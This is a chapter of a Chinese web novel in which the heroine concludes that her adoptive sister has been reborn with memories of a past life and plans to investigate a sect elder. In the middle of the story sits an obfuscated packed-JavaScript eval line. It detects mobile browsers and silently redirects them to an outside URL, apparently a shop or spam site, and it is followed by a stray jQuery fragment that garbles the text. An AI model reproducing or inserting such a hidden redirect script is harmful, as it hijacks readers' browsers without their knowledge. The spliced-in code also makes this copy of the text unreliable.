18. 她重生了
作品:《丢掉那个反派剧本》 池岁寒再睁眼时便从红绢口中得知傅莺莺醒来的消息。
镇上郎中连夜赶来,皆惊喜于那毒竟不知为何解了,不知是哪一味药起了效果。
陈豫更是大喜过望,寸步不离守在傅莺莺榻前悉心照料。
池岁寒拿起盘中点心,放进口中咬了一小口。
虽又休息了一晚,但关节处的疼痛与肌肉的酸痛仍未消解,抬手活动时仍觉得不畅。
但她此时最关心的,并非自己的身体。
“她可有问过我?”池岁寒状似无意地问了一句。
红绢摇了摇头:“回小姐,傅小姐醒来后一直沉默寡言。陈公子告诉她您也安然无恙后,她说那就好,便说自己累了,想多静养几日。”
静养?
池岁寒双眸闪动,指尖在木桌上轻叩两下。
若是那个自小在天狼山庄内被宠爱长大,见到她时哭的不能自已的傅莺莺,醒来的第一件事,必定是不顾伤痛地要来看她一眼,确认她是否真的平安。
可现在,她不仅没有来,更是连自己无碍之事都是陈豫主动告知的。
这般冷淡,绝不可能是因为单纯的伤重疲惫。
池岁寒自嘲地笑笑。
看来书中命运终不可破,她这位好姐姐,到底还是拿回了前世的记忆。
如今她不愿见自己,只怕是还不知该用一副怎样的面孔来面对这灭她满门的仇人,亦或者她已在暗中图谋,只等寻到机会便可如书中所写,联合正道,为天狼山庄复仇。
池岁寒起身走到铜镜前,看着镜中自己未见喜怒,深不见底的双眼,长吁一口气。
也罢,既然想演,那就看看是谁技高一筹。
接下来五日,池岁寒日日端着汤药去傅莺莺门前,都被陈豫以莺莺身体虚弱,刚刚睡下为由拦在了外面。
池岁寒并不强求,只是用心扮演好担心傅莺莺却又十分懂事的模样,将汤药留在门口再离开。
如此这般反而让她安心不少,她不需总想着如何应对傅莺莺的一片真心,只用考虑如何在不杀了她的前提下让她无法报仇即可。
她早早便想过,若有朝一日当真走投无路,便将傅莺莺绑了软禁起来,一样能达到效果。
她是不愿作恶,但不代表不能作恶。
池岁寒站在窗边,楼下街道比起刚来时已冷清了不少,陈豫回到客栈后便将山中发生的事传回清月剑派。
掌门与长老皆是震怒,只过了半日,便有大批清月弟子被派下山来,接管镇上诸事。
如今虽然郭印争已死,镇中百姓却仍人心惶惶。他们担心的并不只是郭印争一人,而是清月剑派的庇护已出了漏洞,此处再也不是无灾无难的世外桃源了。
街上小摊小贩也变少了许多,只有一群白衣弟子时常从楼下走过。
他们挨家挨户拜访道歉,又备了些米粮当作赔礼,总算是消解了镇上居民几分恐慌。
池戟端着一盘洗净的葡萄走到池岁寒身旁,顺着她的目光看下去,嗤笑一声:
“郭印争在这地方待了少说四个月,杀了不下二十人,这些所谓君子就住在山上,却如同耳聋眼瞎一般从未过问。如今郭印争死了,倒是舍得派人来装菩萨了。”
他细心地将葡萄外皮剥去,递到池岁寒唇边,眼底满是不加掩饰的不屑。
“不过是着急毁尸灭迹,怕引火烧身罢了。这江湖之上所谓的名门正派,真功夫如何尚不可知,表面功夫倒是会做得很。”
池岁寒没有接他的葡萄,只微微后仰避开,偏头看了他一眼。
自己与他何时熟到要他喂着吃水果的地步了?
池戟悬在半空的手微微一僵,眼底划过一丝转瞬即逝的晦暗。他并未多说,只是极其自然地收回手,将葡萄送入自己嘴中。
“人们需要有一些可以寄托希望的地方,名门正派也好,官府衙役也罢,都是为了让民众安心的符号罢了。”池岁寒收回目光,将窗户关好。“虚伪又如何?安全从来都只是少数人才能享有的特权。”
回到屋内,元向安已在一旁候着了。
“主子,线索断了。”
他仍戴着那惨白的人皮面具,面色却稍显凝重。
“我从那几个还活着的女子口中得知,他们来清月镇是为做婢子。清月镇上有一个专门买卖奴婢的贩子,周围人都叫她孙三娘,正是此人前去江南,以清月剑派的名义将这些女子骗来此处。”
“找到她人了?”池岁寒坐回桌边,为自己斟上一杯茶。
元向安面露难色:“今早我寻到她家时,发现她已横死在家中,屋内被翻的乱七八糟,钱财都已不在。想来是有人提前去过了,我搜寻房内,连个账本都没看见。”
池戟在一旁冷笑出声:“只怕她死了已有几日了,杀人灭口可不像布施,一刻都多等不得。”
“他们行动如此迅速,恐怕当真与清月山脱不开干系。只可惜江南太远,我们此刻死无对证,恐难找到孙三娘背后之人。”元向安思索片刻,复又言道。“如今那图腾线索已断,我知京郊有一处鬼市,也许能探到消息。”
池岁寒把玩着腰间玉佩陷入沉思。
若说有其他人能在清月剑派的地盘上如此迅速地杀人灭口,她自然是不信的,只是不知这藏在清月剑派中的幕后黑手究竟是谁。
那帮长老皆是深居简出,恐怕很难查到线索。
“明日长老寿辰,你可有机会扮作宾客上山再做探查?”池岁寒神情严肃看向元向安。
“混入宴席并不难,只是这清月山乃是山群,多位长老各据一山,恐怕没办法都探一遍。”
“也罢,那便先从掌门查起,他毕竟负责清月外务,如今发生这种事,他嫌疑最大。”
元向安应下,又悄无声息地从窗口离开。
“回房中做准备吧。”池岁寒起身理了理衣襟。“明日我们去会会这流墨长老,看看陈豫的恩师究竟是何许人。”
……
次日清晨,太阳初升,客栈门前便已备好两辆马车。
陈豫近几日日夜守在傅莺莺窗前,眼下已有些许乌青,面上还有些刚冒头的胡茬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404569|199922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傅莺莺吃下了不少山上送下来的灵丹妙药,此刻身体已恢复了许多,下地行走已无大碍。
只是陈豫仍怕她累到,一路搀着傅莺莺走出客栈。
这是池岁寒自那之后第一次见到傅莺莺。
她穿着一袭长白素裙,身形比起之前更单薄了些,想来是并无胃口进食。她步履缓慢,眉眼低垂,似是还未从那生死一线间缓过神来。
在抬头看见池岁寒的一瞬间,傅莺莺便立刻红了眼眶。
“阿岁!”
她推开陈豫,踉跄跑到池岁寒身边,将池岁寒一把抱入怀中。
“你身上的伤可还好?”
“我的伤并无大碍,若不是姐姐替我挡了那毒箭,只怕这几日躺在病床之上的就是我了。”池岁寒面上先是欣喜,片刻后又转为担心。“倒是姐姐,伤口还未完全愈合,这般跑来若是伤口裂开了该如何是好?”
傅莺莺紧握住池岁寒的手,眼泪如断了线的珠子般从脸上滑落。
“没事的……阿岁,只要你健康活着,我受点伤并无大碍。”她一双泪眼紧盯着池岁寒,不敢移开分毫。“我听大夫说,那箭矢上涂了不知名的剧毒,他们本以为无力回天了,却不知怎得,试探配出的药竟真有奇效,为我解了那剧毒。”
池岁寒回忆起那晚种种,也湿了眼眶:“那日我托师兄先将你带回来医治,等我回来时就见到你躺在床上,镇上郎中全在唉声叹气。我真的好怕你就这样睡过去,再也无法醒来了。”
“好在清月镇上的郎中知识渊博,医术高超,虽无法查明毒的成分,却也救了姐姐,改日我定会登门道谢。”
傅莺莺抬起手,轻柔地拭去池岁寒脸上的泪珠,一双眼中盛满了难辨真假的关切。
“你还活着,我怎舍得死去呢?”
陈豫看着眼前二人姐妹情深,也不自觉眼眶微红,眼中满是欣慰与疼惜。
“好了,有什么话在马车上说便是,你们二人都受了伤,快些上车歇息吧。”
傅莺莺点头,转身扶着陈豫走上马车,撑开帘子等着池岁寒。
虽只有一瞬,却仍叫池岁寒捕捉到了她转身时冷下去的双眸。
这种眼神在之前绝不会出现在养尊处优,天真烂漫的傅莺莺身上。
那是将死未死,从地狱中爬出来的人才会有的眼神。
池岁寒心下了然,此前计划已经作废,傅莺莺的确重生了。
她正按照剧本,虚情假意潜伏在自己身边,以寻合适时机报仇雪恨。
虽时间地点上略有差别,但傅莺莺的一切行动总归还在控制内。
池岁寒走入马车刚一坐下,傅莺莺便挪到她身边,将头轻轻靠在她肩上。
“我身体还有些不适,阿岁的肩膀便借我靠会儿吧。”
池岁寒温和笑笑,将身子坐直了些,好让她的头放得更舒服。
傅莺莺紧闭双眼,将半个身子的重量都压在池岁寒身上,一只手有一搭没一搭地捏着池岁寒的手背,轻声开口:
“阿岁自出门历练之后,就再未回过庄中了吗?”

